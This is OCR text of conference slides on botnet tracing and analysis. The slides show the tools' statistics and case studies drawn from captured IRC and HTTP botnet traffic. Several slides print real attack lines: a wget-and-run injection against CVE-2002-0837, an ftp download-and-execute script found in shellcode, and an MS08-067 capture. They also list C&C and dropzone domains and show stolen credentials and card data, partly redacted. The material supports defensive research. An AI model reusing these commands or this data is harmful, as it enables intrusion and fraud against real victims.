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S |My Organization

ICST

e | work for Il (Institute for Information Industry)

e My department is Cyber Trust Technology Institute
— Information Security Service Center

e | join ICST project, tracing Botnet Is a part of ICST
project
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& The domain knowledge of Botnet
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S ‘The analysis architecture for botnet
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& |Botnet Analysis Module (BAM)

e This module works in closed environment
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Cj ‘BAM’S Analysis Result

I Behavior || Detail

 [Attribute]

¢ file name ;: 5932445 .bin
e mdS : 16ERDS69DA9ASEA0FEC761A8880BD70A
® pack scan @ ScanMode[Deep] : Microsoft Visual C++ 6.0 [Debug]
® Clam Win &Y scan result : Not Found
[Network]
® DNS
o0 checkip.dyndns.org
o www . whatismyip.com
¢ IRC:
© C&C: 173.163.151.27
O port : 9595
o channel : #http
O user : MEAT * 0 :IRC-
O nick : {INF-00-TWN-XP-IRC--7735}
O server pass : prison
© userhost :
© channel mode :
O user mode :
e HTTP :
O 2011-01-10 02:17:20 | GET | http: ffwww whatismyip.com)
0 2011-01-10 02:17:20 | GET | http: ffwww . whatismyip.com)
O 2011-01-10 02:17:59 | GET | http: ffwww . whatismyip.com;
© 2011-01-10 02:17:59 | GET | http:/{checkip.dyndns.org/
O 2011-01-10 02:17:59 | GET | http:/{checkip.dyndns.org/
0 2011-01-10 02:17:59 | GET | http:f/fcheckip.dyndns.org/




& |Performance of BAM

e From Jan. to Sep. in 2012 , BAM analyzed 41,853 malware

samples

— 41,396 samples had been collected from “Honeynet”

— 457 samples had been downloaded by “Botnet Tracer”
—  The total bots amounted to 4,454 (10%)

e HTTP Real-Time Detector (plug-in of BAM)

— Intercept 22,813 HTTP request URL of botnet

— 6,795 malicious URL are connected to intermediate nodes or
download sites




& |Performance of BAM

e By using VirusTotal scanning service and depending on
the result of Kaspersky antivirus software
—  Protocol statistics of all 4,454 bots :

“  HTTP
525 / 11.8%

" IRC
3,077 / 69.1%

=  p2pP
852 /19.1%



&S [C&C Tracer

e DN map IP address

e |P address map location information
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‘C&C Tracer

to |1 v| page

» records 1 - 55 / total 55 recorc

1P Last Seen Time » Detail
e detail
= detail
S eeril datail
gy detail
e detail
gy dekail
S detail
iy datail
L detail
i detail
e detail
S liaah detail
Sl detail
A s detail
it ot

&%) Mozilla Firefox g@@

@ | | | http:10.3.106 55/botmet/tracer/CNC _tracer/sp/detsil TWCNC php?ip=140.1 3

15 Domain Mapping to 140.13-169

c&C Port #IP #ASN #CC #ISP Source

MalwareDormainList
adventurewaspos.com 80 1z 14 9 15 ZeusTrackerabuseCH

blackfuril.ru 80 27 29 16 29 ZeusTrackerAbuseCH
browndrives.com 80 25 27 15 27 ZeusTrackerabuseCH

2 MalwareDormainList
casualhopperois.com 80 9 10 7 11 ZeusTrackerabusecH

dsrv.kz 80 35 32 17 32 ZeusTrackerAbuseCH
funswarmsag.ru 80 27 29 15 28 ZeusTrackerabuseCH
gnomsmotorru 80 26 25 14 25 ZeusTrackerabuseCH
A MalwareDomainList
greensinkod.com 80 17 19 10 20 ZeusTrackerabuseCH
Y AMaDaAbuseCH
picomarkets.ru 80 29 31 17 30 SpyEyeTrackerabuseCH
purpleflase.com 80 26 28 15 28 ZeusTrackerabuseCH
purplepron.ru 80 28 27 16 26 ZeusTrackerabuseCH
sdlls.ru 80 31 31 18 31 ZeusTrackerabuseCH
vdirkz 80 30 28 14 27 ZeusTrackerabuseCH
MalwareDomainList
vstd kz 80 25 28 15 28 ZeusTrackerabuseCH
www.sdlls.ru g0 29 29 16 30 MalwareDormainList

_URL of Binary
casualhopperois.com/czl/clz.exe
picomarkets.ru/dfgSS/"bin,"build.exe
URL of Configuration
casualhopperois.com/czl/zlo.cl
picomarkets.ru/dfg35/bin/config.bin
wdirkz/zlu/kow.ar

URL of Dropzone
adventurewaspos.com/zlc/fdfre.php
blackfuril.ruf/ger/afhsk.php
browndrives.com/auy/depoi.php
casualhopperois.com/zlc/fdfre.php
dsrv.kz/zsu/dehid.php
funswarmsag.rufuso/hjuoi.php
gnomsmotorrufesp/gujoh.php




S |Performance of C&C Tracer

e From Jan. to Sep. in 2012, C&C Tracer traced 8,481 IP
addresses of C&C servers

— All C&C servers are distributed over 96 countries

— 62 C&C servers are located in Taiwan
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& |Botnet Tracer

e Botnet Tracer need to connect the real C&C server

e Avoid tracer attack other node on internet, so we need data control
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S |Performance of Botnet Tracer

e From Jan. to Sep. in 2012, Botnet Tracer discovered
128,680 botnet victims

— All botnet victims are distributed over 175 countries
— The top 3: Chile, Netherlands and Germany
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Comnection Edit View Window Option Help
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Bothet Tracer

Comnection Edit View Window Option Help
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|Botnet Tracer

Microsoft Windows [ i 5.2.37981
<G> FRAEFRE 1985-208083 Microsoft Corp

C:\Documents and Settings\Administratore:
@ - s =10 x|
icrosoft Windows [fF7N 5.2. BSIE: \Opsexec.bat 9 38761737.bin
<C> RFHEFRHE 1985-20803 Microsoft Cowrp © —

‘-\Document° and Settings\Mdministrator>sniffer 7 30109302.bhi

E; 192 .168.8.7 Microsoft Windows L[ffi7N 5.2.37981

¢> ERAZATE 1985-20083 Microsoft Corp
2:\Documents and Settings“dministratorde:

;E:\>psexec.hat 8 384081637.bin

Microsoft Windows [ Z ?'2'37981 ) Lcrosoft Windows [ﬁFit 5.2.37981
<¢> fRFERTE 1985-2083 Microsoft Corp ° 2> EFFEERE 1985-2083 Microsoft Corp

C:\Documents and SettingsMdministrator>sniffer 8 30481637.bif. \Documents and Settings\Administratorde:
BV E 192.168.0.8

iBH15 R Sample 38461637.bin :\>psexec.bat 7 30189382.bin
Capturing on UMware Uirtual Ethernet Adapter

'crosoft__l'lnows LRF7R 5.2.37981
> FRtEFRE 1985-2083 Microsoft Corp

B8l : \Documents and Settings\Administratorde:
=

<C> RRHEFRE 1985-2003 Microsoft Corp °
:\>psexec.bat 2 30095875.hin

C:\Documents and Settings\dministrator>sniffer 9 30761737.bi

Captuxlng on UMware U11tua1 Ethernet Adapter
410098




Botnet Distribution




Case Study



S |Case Study

e Case Study I — IRC Botnet
— Incasel, | will show the IRC Botnet in real word.
— What kind of exploit that hacker use it?
— What we found in those Botnet?

— It maybe not the latest, but it is real one.

e Case Study I - HTTP Botnet

— Incase2, | will show the Botnet analysis timeline.
— The analysis of a HTTP Botnet C&C server

— What we found in those Botnhet?



S ‘Case Study I - IRC Botnet
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‘Case Study I - IRC Botnet

7! Follow TCP Stream = =10 %]

-Stream Content

POST /wordtrans/wordtrans.php HTTP/L1.1

User-agent: Mozilla/5.0 (A1; U; Linux 1686) Gecko/20031119 Galeon/1.3.7
Host: 210.241.25.226

Connection: close

Content-Length: 126

Content-Type: application/x-www-form-urlencoded

‘Iang—en&adganged Q&d]gx=di—en&word4 cd Jtmp;wget http://74.62.155.43/xt.dat;perl /tmp/ |
t.dat;rm -rf ftmp/xt.dat |&submit=s€arcn

CVE-2002-0837

Findl Save Asl Printl 78.46.98.179:40193 --> 210.241.25. 226 http (347 bytes) | ¥ IF ASCII  EBCDIC ( HexDump ( C Amays (¢ Raw

Help | Close Filtex Out This Stream

Command Function
Using escape

cd /tmp; Change directory
Wget http://74.62.155.43/xt.dat Get the malware
perl /tmp/xt.dat; Run the malware

Rm -rf /tmp/xt.dat’ Delete the malware




& |Case Study I - IRC Botnet

IC

= root@localhost:/home/NESOKING
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! ‘Case Study I - IRC Botnet

"4l 01 196 226 140 - Wireshark

Filo Edit
=

Filter: |b:p.3tream eqg 1

View Go Caphure  Anslyze Statistics

EEXEE

Telephony Tool: Help -
QAe»DFL|BE QA @EMR B

| ~ Expressom... Clear Apply

No. . Time Bounce Destination Protocol Lnfo 5
21 UMY —11—22 18IsYid4n. YEUSEL ZUs. AU, 210, B0 Yl.lYa. 23k, 140U SME SES570N S8TUp ANdx Hesponse;: Ireeg
22 2009-11-22 18:39:47.3495317 291.195.236.140 203.70.210. 89 SMBE NT Create And= Request, Path: “ SR\
23 2009-11-22 1E8:39:47.340012 Z203.70.210. 85 91 .198. 236,140 SME Tree Connect and= Response
24 2009-11-22 18:39:47. 724007 91.1946.236.140 203.70.210. 84 SMBE WNT Create And= Request, FID: Ox40(
25 2009-11-22 18:39:47. 724444 203.70.210. 86 91 .195. 236,140 SME WNT Create Andx< Response, FID: O=xd(
26 2009-11-22 18:39:48. 0958649 91.196. 236.140 203.70.210. 8Ba DCERFC Bind: call_dd: 0, 11 context Ttem:
27 2005-11-22 18:39:48. 0090064 Z203.70.210. 86 91,1595, 236,140 SME NT Create Andx Response, FID: O=d(
28 2009-11-22 18:29:48.455641 91.196. 236.140 203.70.210. 8a SMBE read andx Reguest, FID: Ox4000, 4§
259 2005-11-22 18:39:48.45656014 Z03.70.210. 86 91,1595, 235,140 SME write And= Response, 512 bytes
30 2005-11-22 1E8:29:48.953454 91.196. 236.140 203.70.210. Ba TCF tellumat-nms > microsoft-ds [ACK]
31 2009-11-22 18:39:48.957565 203,70, 210. 846 91.1945. 239,140 SMBE read and= Response, 3058 bytes
32 2009-11-22 18:329:49,.45655]1 .236.14 203.70.210. 86 TCR tellumat-nms > microsoft—-ds [aCk]

35 2009-11-22

18:40:0%,. 676564 203. 70,210, 36 91.196.236.140 TCP microsoft-ds > tellumat-nms [ACK]

| >

operation: MetPathCanonicalize (310 bt
Pointer to Serwver Un< Cuintla)

Max Count: 305
offset: O
Aactual Count: §

Path

[T

Maxhbuf :

410

MS08-067

Profile: Detfanlt




Cj ‘Case Study I - IRC Botnet

PSRN~ D2D 3073 3030 AE27 743D 3EB79
IFaR:IM7010 171D AC3C | FCES DC08 ! x...0<0.000.0hw
IPeNIM-E4] 79EC C6C6 T3IEA FE96 T3EA C1C6 DDAEgMk Ay000s000s0000k
IPAIMF 5. FEEE 5AC4 DD6D FE6S DDBC 6B47 ASECHEE]:00zZ00wOhOO0keOO
IEaRAINNAC 14 A AR 4 | e : 1k An M+

Run emulation ‘ v GetPC Cancel

L IR |
]
J

"™y

verbose =10

{32; Imsuccess < 0m offset = 0x00000096

Hook me Captain Cook!

userhooks,c:127 user_hook_ExitThread

ExitThread(0)

stepcount 92570

UINT WINAPT WinExec (
= =3

= "tmd c echo open pornhq.dynalias.com 8989 > i&echo user upload upload = i &echo binary =3 i &echo get Jdn.exe = i &echo quit »> i &ftp -n -s:i &dn.exe

)_U;';Tucmﬁm“ﬂi cmd /c echo open pornhqg.dynalias.com 8989 > i
void ExtThread ( &echo user upload upload >> i
DWORD dwExitCode = 0; . .
)= 0, &echo binary >> |
s &echo get /dn.exe >> |

&echo quit >> |
&ftp -n -s:i
&dn.exe



‘Case Study I - IRC Botnet

[(.4@.9vuIn.15).7 http: //sekai.hu/contact. php 15( 4@. 3w1ndows NT EZ02--v00204 6.1 build 7601

{(Unknow windows version web Server Edition Service Pac 3 4@ QSafemode-OFF 15)
irastal~rasta@server.sitexpression.net PRIVMSG #damai "/pnsession. php +adm1n Kiifen g
"oaTast'~5ﬁanOIRCsystem-4 280915.datadns.es PRIVMSG 12T oDank s g =, Hacker's command
pnsess1on php

D?Tasté~scan@IRCsystem-d3280915 datadns.es PRIVMSG #damai :.12[.12[.9d1L.12]] .13Bugz :.4 /

xm1rpc. php

ST em-A 81310 . gn-noc. com PRIVMSG #damal . a

fstem-A8381 10.gn-noc. com PRIVMSG #damail :.12[.12[.9mML.12
rstem-780CFO8B. azun1 net PRIVMSG #damai :.12[.12[.9xML.12
rstem—ZBQCFQ@B azun] .net PRIVMSG #Qama] :.;g .1; .9XML.1g

/nucleus /xmlrpc/server.
.35earch Engine Loading
.90ork :.4 +pmachine
J -}33U92,=- ' /nucleus/xmirpc/server. php

Victim's Report

| (] Nucleus - XML-RPC Interface [l
XML-RPC Interface

Introduction

Find Vulnerability on Internet
Back to the developer docs index

This document contains information on the XML-RPC interface that Nucleus
provides, and the error messages it spits out. Please note that the specification of
this interface might still undergo changes in the future.

The URL for the Nucleus XML-RPC interface is:
http://www.yourserver.com/yourpath/nucleus/xmirpc/server.php



‘Case Study I - IRC Botnet

T3 Follows TCP Stream =18 =]
~Skream Content
takon!~mE195, 24.66.128 PRIVMSG #banjarmasin :backbone rnot :p |

intoy! tlgov. st PRIVMSG #banjarmasin :have fun and good Tuck in real 1ifa.

intoy!t8gov. st PART #bangarmasin ! . .

svogal~yvogaBlls . 215.45. 187 J0IN :#banjarmasin

takon!~ME195, 24.66.128 PRIVMSG #banjarmasin :my backbone hurts Titlle :)

rakon!~nNB195. 24.66.128 PRIVMSGE #banjarmasin :good men

tAkon!~NELOS, 24, 66,128 PRIVMSG #ban%armas1n :real 1ife s beautiful

istipan!~ipang39.210.185.38 J0IN :#mirc

takon!~NE19S, 24.66.128 J0IN :#tuelo

:|yn5h1 lyoshi@czarna. owieczka. he PRIVMSG #banjarmasin :87.239.152. 83
yoshi| !yoshiBczarna. owieczka.be PRIVMSG #banjarmasin :heh :p

:qushﬁl!yu&hi@czarna.nwieczka,be PRIVMSG #han%arma5in 1ol

:ynga!~E§Eau112.215.45.1ﬁ? J0INM :#jmirc )

sakon!~nELos, 24.66.128 PRIVMSE #tuelo :lebokne kabeh,ben oi ddos kabeh

ismraguiztal~jmIrc_usr8112.198, 77.162 QUIT :“used jmIrc”

takon!~nB195. 24.66.128 PRIVMSG #banjarmasin :wakakakakkkk. ...

tAkon!~mE195, 24 . 66.128 PRIVMSSE #han%armasﬂn :go ahead

PING :ircnet.eversible. com

PONG :ircnet.eversible. com

:Hnsh"l | 'voshi@czarna. owieczka. be PRIVMSGE #banjarmasin :join more ...
on'-ME195. 24,686,128 PRIVMSG #banjarmasin your Turn

st cidel root@2 Q0L s 2EE I Y

tAkon!-~ME1L95. 24.66.128 FRIVMSG #tuelo :e

takon!~m@195, 24.65.128 PRIVMSG #tuelo :hen ag ae

rakon!~NE1G5, 24.66.128 PRIVMSG #banjarmasin :wow

tkoras!~star@l?75.126, 74,110 PRIVMSG #tuelo :jah

:suicide!root®2001:288:6200:233:0:0:0:1337 PART #banjarmasin :im so lame

tkoras!~star@l75.126.74.110 PRIVMSG #tuelo :ilang gak kiro2 rum e

PING :88888654476

on!~NB195.24.66.128 PRIVMSG #tuelo :.ACTION slaps koras around a bit with a large trout.

|Er|h'ru conversation (176878 bykes)

Eind Save As Print " ascIl "~ EBCDIC (™ Hex Dump i Carays

Help Filter Out This Stream I




‘Case Study I — The Victims

74! Follow TCP Stream

-Stream Content

S[(=1/e3

PING :yume.weedo.mooo.com

PONG :yume.weedo.mooo. com

PING :yume.weedo.mooo.com

PONG :yume.weedo.mooo. com

PING :yume.weedo.mooo.com

PONG :yume.weedo.mooo. com

PING :yume.weedo.mooo.com

PONG :yume.weedo.mooo. com

ITWN|61311'nirkad@l63.19.170.70 QUIT :Connection reset by peer

PING :yume.weedo.mooo.com

PONG :yume.weedo.mooo. com

ITWN| 54383 ! dtnixzbh@LSACCOB4 . FESGEQ7D. 28536628, IP JOIN :#X?g

ITWN| 54383 ! dtnixzb@l63.19.170. 70 PRIVMSG #ygg :-.4.scanall..- Random Port Scan started on
163.19.x.x:139 with a delay of 5 seconds for 800 minutes using 100 threads.

ITWHN| 54383 ! dtnixzb@l163.18.170. 70 PRIVMSG #ygg :-.4.scanall..- Random Port Scan started on
163.19.x.x:445 with a delay of 5 seconds for 800 minutes using 100 threads.

with a delay of 5 seconds for 800 minutes us?ng 100 threads.

ITWN| 54383 ! dtnixzb@l63.159.170. 70 PRIVMSG #ygg :-.4.scanall..- Random Port Scan started on
163.19.x.x:445 with a delay of 5 seconds for 800 minutes using 100 threads.

PING :yume.weedo.mooo.com

PONG :yume.weedo.mooo. com

PING :yume.weedo.mooo.com

PONG :yume.weedo.mooo. com

(TWh|41148! jmgvh ] GIEEER O . Seas@@rRIVMSG #yag :(ftp transfer started to: 163.89.170. 49

T TWN 41148!E1mgvh1©163.19.m PRIVMSG #ygg :ftp transfer complete to: 163 .498.1709W
:USA|86116! hegtkyn@l92.116.195.99 PRIVMSG #yqgg :Ttp transfer started to: 125.68.10. 88
1USA| 86116 ! hegtkyn@192.116.195.99 PRIVMSG #ygg :ftp transfer complete to: 125.9%. 104
PING :yume.weedo.mooo.com

PONG :yume.weedo.mooo. com

ITWN| 54383 ! dtnixzb@l63.15.170. 70 QUIT :Connection reset by peer

TTWN| 72900! tfvph@l5ACC0B4 . FESG6EQ7S. 2853B628. IP JOIN :

with a dalavw nf & sacrnnds far 0N mintes nsinn 10NN threads

ITWN| 543831 dtnixzb@l63.19.170.70 PRIVMSG #ygg :-.4.scanall..- Random Port Scan started on 163.19.x.x:80

g
ITWN| 72900 tFvph@l63.10. MReRE FPRIVMSG #yQqQ :—.4.scan§¥?..- Random Port Scan started on 163.19.x.x:139

v

(Find |[Save &s|[Print] Entire conversation (34054 bytes) v O 4SCll O EBCDIC O HexDump O C Amays & Raw

[ Fitter Out This Stream |

Close ]




Cj ‘Case Study I — Shopping Account

%! Follow TCP Stream

=10l x]

-Stream Content

:Grow! x@network. gov
:Grow! x@network. gov
:Grow! x@network. gov
:Grow! x@network. gov
:Grow! x@network. gov
:Grow! x@network. gov

il

PRIVMSG
PRIVMSG
PRIVMSG
PRIVMSG
PRIVMSG
PRIVMSG

#MNairaLanders
#NairaLanders
#NairaLanders
#NairaLanders
#NairaLanders
#MairaLanders

Find | Save As | Print | Entire conversation (3520422 bytes)

s SUZy T ~SUZy@NEt AdmMIn. NairaLanders.org PRIVMSG #NairaLanders

:shi amaru!vebEjv@NetAdmin.NairaLanders.Org PRIVMSG #NaiQ%Landgng_‘ng_mahglgL
.gov PRIVMSG #NairaLanders :-------—-———-—- ells Fargo Account

ToKay

tAccount Opened 1n @ TX

:Username
CATM PIN

:PassworD
*S5N
1SuUZy ! ~Suzy@NetAdmin. NairaLanders.org PRIVMSG #NairaLanders :enter my room

s immons e
36
: kencasiems
s 452473641

:Grow! x@network. gov PRIVMSG #NairaLanders :Bank Account Number : 3100MSURES

:Grow! x@network. gov PRIVMSG #NairaLanders :Email Address : hcds St

:Grow! x@network. gov PRIVMSG #NairaLanders :Creditcard nNumber: 486§

:Grow! x@network. gov PRIVMSG #NairaLanders :Exp Month : 0@

:Grow! x@network.gov PRIVMSG #NairaLanders :Exp Year : 2068

:Grow! x@network. gov PRIVMSG #NairalLanders :Cvv : 288

:Grow! x@network. gov PRIVMSG #NairaLanders :IP: 75.93.

:shikamaru!vebpjv@netAdmin. NairaLanders.org PRIVMSG #NairalLanders :in 2 hours time i commot |

| w|C ASCH € EBCDIC € HexDunp C CAmays @ Raw

i3

Help |

Close

Filter Out This Stream




Case Study I — The Credit Card

Al Follow TCP Stream Y ] 4
re tresm Content
:rreww! ~kennedyl 9BC5734AF 5. S8EEE9F. FC7DO901. IF JOIN :#NairalLanders =
irreww! ~kennedyl 98C5734AF 5. BEEEESF. FCFDOS01. IF JOIN :#Br-aT —
alawu!~alawu. babh@92306446. 1910220, 5655EEDA. IF JOIN :#Nairalanders
PIMG :hub.ng.nairalanders.org
PonG hub.ng.nairalanders. org
iMaMeyd Us [ Mokeyd Us@Moreyd Us . User . Mairalanders.org PRIVMSE #MairalLanders :wHO HAWE CC GOOD OMWE, I TRADE, WITH UK LIST|
tMoleyd Us TMoMeyd Us@Moreyd Us . User . Mairalanders.org PRIVMSSE #Nairalanders :wHO HAWE CC GOOD OME, I TRADE, WITH UK LIST
iMoMeyd Us [ MoMeyd Us@Moneyd Us ., User . Nairalanders.org PRIVMSSE #NMairalLanders [wHO HAWE ©C GOOD OME, I TRADE, WITH UK LIST
iMoneyd Us | Mokeyd Us@Moneyd Us . User . NairaLanders.org PRIVMSE #NMairaLanders [wHO HAWE CC GOOD OME, I TRADE, WITH UK LIST
:Ay_SOem!ay_80em@a¥_80em.user.NairaLanders.org PRIVMSG #MairaLanders :wetin u won use cc do?
PIMG :hub.ng.nairalanders.org
FOMNG hub.ng.nairalanders. org
:[8]!~abah@NairaLanders.org-2D05A57CE. progreso.pl JOIM :#MairaLanders
so] L wRebs ! - Tecr it S@EF7260DT, 24DIAESE, DESIGG0R, TP JOIM :#Mairalander
EGrow! x@network. goy PRIVMSG #MairalLanders :AUSTRALIA FULL INFO CC
EGrow! x@network. gov PRIVMSE #MairalLanders % Personal Information:
tGrow! x8network. goy PRIVMSGE #Mairalanders Full wMame: sStephen
EGrow! xBnetwork. gov PRIVMSGE #MairalLanders pate of Birth: Jun - 29 - 1924
tGrow! x@network. gov PRIVMSG #MairalLanders Mother's Maiden mame: Elefant
:Gruw!x@netwurk.gav PRIVMSE #MairaLanders BEilling Address: 14115 Hale Road
EGrow! x@network. PRIVMSE #MairaLanders @ Country: AUSTRALIA
Ealawu! ~alawu. ba @923D6A46 C1910229. 5655EEDA IF QUIT :Ping timeout
EGrow! xBnetwork. gov PRIVMSSE #MairalLanders City: MOSMAN
tGrow! x@8network. gov PRIVMSG #MairalLanders State: outside of US
tGrow! x@network. gov PRIVMSG #MairalLanders Zip: 2088
tGrow! x@network. goyv PRIVMSG #MairalLanders social Security Number: — ..t
tGrow! x@network. goyv PRIVMSG #MairalLanders Home FPhone nWumber: 61 Fsheeis
tGrow! x8network. goy PRIVMSGE #Mairalanders * Card Information: '
EGrow! xBnetwork. gov PRIVMSGE #MairalLanders Card Mumber: 4564 BRI
tGrow! x@network. gov PRIVMSG #MairalLanders Issuing Bank:
tGrow! x@network. gov PRIVMSG #MairalLanders Expiration Date: 0% | 2010
tGrow! x@network. goyv PRIVMSG #MairalLanders Card verification Kumber: R
:Graw'x@netwark.gov PRIVMSE #MairaLanders Ip: 122.105;
fornw ! w@network, gow PRTYMSE #Mairal anders oo o o
PING :hub.ng.nairalanders.or
tMairaLanders35890! -Sara-R32E3F0BEEDS. 5B4239A0, 72783CE4. IP QUIT :Ping timeout
POMG hub.ng.nairalanders. org
rGrow! x@network. goyv PRIVMSG #MairalLanders DCHIMA FULL IMFO CC
:Grow! x@8network. gov PRIVMSSE #MairalLanders % Personal Information:
:Grow! x@network. gov PRIVMSG #nairaLanders Full mame: Quwei |
2 | i
Fmdl Save Asl Pri:ﬂtl Entire conversation (3820427 hates) [+ |r' A3CII © EBCDIC § HexDump (. C Arrays (8 Eaw

Claze

Help |

I Filter Ot Thiz Streaim |




S ‘Case Study I — Social Network

7 Follow TCP Stream FEX

-Stream Content

:SERVIDOR1908! ESP4@0wN3d-E77B3A34. dsT. dyn.telnor.net PRIVMSG #pron :[pass]: http:/ /Awew. facebook. com/
< KO S0Ghcmme 1 1. com:r ameus
(Errord 782112 USAL@19D0BCES. 383F014F. 4949DED3. IP PRIVMSG #pron :[pass]: End of PStore
(Error7473100! MEX3@LEFDFBA3Z. 110A725A, 30BA0SAR. IP PRIVMSG #pron :[pass]: https:/ v <osepoimimenm . com/TCInfinitus/
USer acCevmnTC. asp frontt0242:0 . :
(CAMARASS52600! ESPOGFOBCE7S55.13882023, 314858AA. IP PRIVMSG #pron :[pass]: https://secure.logmein. com/home. asp
acelaya@sitexsa.com:,alarmas.silverson@gmail. com,silver
(Error8937597 ! ESP2@0wn3d-ABFOASGA. dynamic. axtel.net PRIVMSG #pron :[pass]: 4. 168.1.2:81/Cameraserver tc:iy
(COMPAQLBG294 | ESP3@63A3EG23. LF7C7FCE. CD4F7DBO. IP PRIVMSG #proOn :[pass]: http://amigos.sme/go/page/standard_login. html
guUapo_stripGMamm] . com 4] ie
:FERNANDOS3 53 | COLB@DABBOS77, AFD4 74E3. 46B6E301. IP PRIVMSG #pron :[pass]: End of PStore
(Error8200101! USA3@F670B0CS. 28003EAS. 16B0A3CO. IP PRIVMSG #pron :[pass]: http://Toveplanet.dw/ CEKOPZ 4k
(Error7879146! BRAGEDLBCABS S, D4 5BAF46. 9666B606. IP PRIVMSG #pron :[pass]: starting PStore
:CHICOS-PC111!ESPO@0wWn3d-5263D0946. telecom. net. ar PRIVMSG #pron :[pass]: End of PStore
(Error2641243 1 USABG7EFS00FL. 4CAC41E9. 1E4FDAT3. IP PRIVMSG #prOn :[pass]: starting PStaore
{RAIKKONEN442 | USAS@4OBEB2EBE. 63644244 .171A3004.IP PRIVMSG #pron :[pass]: https://www.google. com/account s/ Wit
andradefeitosa:lallllll
:Error0839278! USA6@0wn3d-821EEES6. hsdl. 1. comcast.net PRIVMSG #pron :[pass]: http://65.54.187.250/cgi-bin/Tinkrd
NeTTrRMCMAGhotMatil. com:zxcvl234
(Error7897031! usad@Own3d-DF35088A.mia. bellsouth. net PRIVMSG #pron :[pass]: DPAPI: ftp://

0 |

|2

uploader@colorexpressprinting. com@www. colorexpressprinting.com .,..... R A ss+4FTP password for: ftp://
uploader@colorexpressprinting. Com@www. COTOrexpressprinting. Com, ., vy ey Feee Al yoyeyey e Ufen 220,000y By ]300 5
:PERSONAL44 62| ESP7@2687F620. ADAD9949, FCBSEEFA. IP PRIVMSG #pron :[pass]: End of PStore

(CASETAG55266!MEX7@550BF080. BOEG2ACE. 39BA0BA8. IP PRIVMSG #prin :[paSS]: end of PStore
(PC6H73 5886982 | ARGLEED29D7A0, EO20BF58. 3AE39B20. IP PRIVMSG #pron :[pass]: http://ewe facebook. com/
mer ] iR otmail. com:123123 —— ks

[Save As”Pn’nt lEnﬁre conversation (377268 bytes) v }O ASCII O EBCDIC O HexDump O C Armays &) Raw

[ Filter Out This Stream Close

£




&) |Case Study I - VNC Victim

7 Follow TCP Stream E][z]

~Stream Content
SOTdURDUUL T1I020 00 J\'#].Jppu:-J.DO-J.OF-.LH-bC.VUlgUgl duU. 2 LEIELUl. ] W FRLVMDO A4 JVINCD. O WLIMN. £1lV.££4L.100,.90 — LHUL!IDypdD)J A
:Shepstone365 ! yud@lL86. 81.169. 79 PRIVMSG ##1x4 :WNC3.8 WIN: 210.221.080 - [authBypass] =

tBailar27l!xtah@190.142.147.246 PRIVMSG ##!X4 :.8,1-5C@N- Random Port Scan started on 210.x.x.x:5900 with a delay of §
seconds for 200 minutes using 100 threads.

(Patefield083 ! gmf@L88.16.203.62 PRIVMSG ##!X4 :VNC3.8 WIN: 210,221 sEowas® - [AuthBypass]

:C011952641acc@190.142.27.79 PRIVMSG ##!X4 :WNC3.8 WIN: 210.221. 98¢ - [auths passElJ

:Stiepockll6! weqmp@l90.209.45.134 PRIVMSG ##!x4 :VNC3.8 WIN: 210.221.Rdaee® - [AuthBypass]

:Donner725!qla@ls0.156.222.120 PRIVMSG ##!X4 :WNC3.8 WIN: 210.221. 3w - [authBypass]
:vanheeckerend 01! ]jxra@l90.244.224.73 PRIVMSG ##!x4 :.8,1-5C@N- Random Port Scan started on 210.x.x.x:5900 with a delay of §
seconds for 200 minutes using 100 threads.

:Juliano2l5!owjd@l90.55.225.184 PRIVMSG ##!x4 :VNC3.8 WIN: 210. BikBdwees - [AuthBypass]

:[M]Spicer731! faruv@hostd7.190-138-85. telaecom. net.ar PRIVMSG ##!x4 :-.4.scan..- Finished at 210.186.154.64:5900 after 200
minute(s) of scanning.

PING :fart.bitchassness.shit

PONG :fart.hitchassness.shit

JOIN ##!x4

:[M]Oh784 | pzfg@213-92-148-192. serv-net.pl PRIVMSG ##!X4 WNC3.8 WIN: 210.229abmed - [AuthBypass]
:Kahbash831!ianbr@201.221.116.134 PRIVMSG ##!x4 :.8,1-5C@N- Random Port Scan started on 210.X.x.x:5900 with a delay of §
seconds for 200 minutes using 100 threads.

:Patrick833!cyput@90.142.7.31 PRIVMSG ##!x4 :VNC3.8 WIN: 210 JWNEOw - [AuthBypass]

:Dockery795!njv@81.172.72.243 PRIVMSG ##!x4 :.8,1-5C@N- Random Port Scan started on 210.x.x.x:5900 with a delay of 5 seconds
for 200 minutes using 100 threads.

:Pfister896!d?c@pppoe-188—187—17—23.vo]gograd.erte]ecom.ru PRIVMSG ##!X4 :VNC3.8 WIN: 210.221.00ans - [AuthB¥pass]
1Perlak766!wyldy@150.209,96.45 PRIVMSG ##!x4 :.8,1-SC@N- Random Port Scan started on 210.x.x.x:5900 with a delay of 5 seconds
for 200 minutes using 100 threads.

:Kalman547! feoy@l88.186.98.240 PRIVMSG ##!X4 :VNC3.8 WIN: 210.221.96WR¥ - [authBypass]

PING :fart.bitchassness.shit

PONG :fart.hitchassness.shit —
JOIN ##!x4

(Frowiss499!atr@l90.142.27.165 PRIVMSG ##!X4 :VNC3.8 WIN: 210.221.0Me0wssd - [AuthBypass]

(Fuller656!myrxh@l90.142.19, 97 PRIVMSG ##!x4 :VNC3.8 WIN: 210.221.%60wEew - [AuthBypass]
:B1ackbourn895!oqj@ﬁppoe—188—187—14—32.vo]gograd.erte]ecom.ru PRIVMSG ##!x4 :WNC3.8 TCVS-SERVER: 210.59. Wl - [AuthBypass]
:Altavilla34d 'retn@host208.190-227-137. telecom. net.ar PRIVMSG ##!x4 :.8,1-5C@N- Random Port Scan started on 210.x.x.x:5900

with a delay of 5 seconds for 200 minutes using 100 threads. (M

(Save 4s) Print] Entire conversation (324829 bytes) v | O ascn O EBCDIC O HexDump O C Amays © Raw

[ Fiter Out ThisSteam | Closs |
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= ‘Case Study I - DDoS

sample_id
PHP_IRCBOT_8035.hin
PHP_IRCBOT_8035.hin
28975638.bin
28975638 bin
28975638.hin
28975638.bin
28975638 bin
28975638 .hin
28975638.hin
28975638.bin
26090578.hin
26080578 hin
26090578 hin
26090578 hin
26090578 hin
26080578 bin
26080578 .bin
26090578 hin
26080578 bin
26080578 hin
26080578 .hin
26080578 .hin
26080578.bin
26080578 hin
26080578.hin
26090578 hin
26090578.hin
23526225 bin
23526225 bin
23526225 bin

tstamp ~
2012-06-29 17:48:55
2012-06-29 17:48:55
2012-06-15 21:14:04
2012-06-15 21:10:39
2012-06-15 20:42:28
2012-06-15 20:35:52
2012-06-15 20:29:48
2012-06-11 17:44:36
2012-06-11 04:15:37
2012-06-11 02:31:43
2012-06-07 07:49:30
2012-06-06 04:08:47
2012-06-06 03:09:05
2012-06-06 02:04:42
2012-06-03 18:07:56
